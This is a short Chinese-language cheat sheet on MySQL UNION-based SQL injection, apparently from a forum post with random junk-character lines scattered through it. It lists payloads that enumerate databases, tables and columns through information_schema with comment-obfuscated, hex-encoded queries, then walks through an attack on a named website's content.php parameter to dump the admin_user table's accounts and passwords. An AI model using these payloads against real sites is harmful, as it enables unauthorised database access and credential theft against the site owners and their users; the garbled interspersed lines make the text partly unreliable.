mysql注入技巧

admin

查库
3 q! `; o# G6 E7 C2 H9 z% S. W
$ p  R! N% B1 did=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

0 q( U/ @4 t( ]% f* X, ?5 c1 F查表

id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1

查段

id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
) w4 P3 h7 o8 Y* ?$ O! I
8 f0 H9 h+ |3 b
mysql5高级注入方法暴表

! X/ ?8 N8 ~, z# m' R. |例子如下:

1.爆表
2 b; I" {) i& ]' K# w# X- |http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
: |. S: T! @, b) ^7 M- C这样爆到第4个时出现了admin_user表。
6 w) ^2 O0 R( Q! C
3 ?' L: u4 v2 ^& n: I  r- W2.暴字段
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
4 n( c) e# o5 ^/ K- G! T

& Y  o) d& {3 ^' N6 C. \' R7 }( r3.爆密码
% A2 ~6 h* M: f. a# k. @- j, q; ohttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
! Q: c. q2 o& h
9 @- w6 R  q: ^9 J# M
$ d& V6 J, ?: {4 `7 j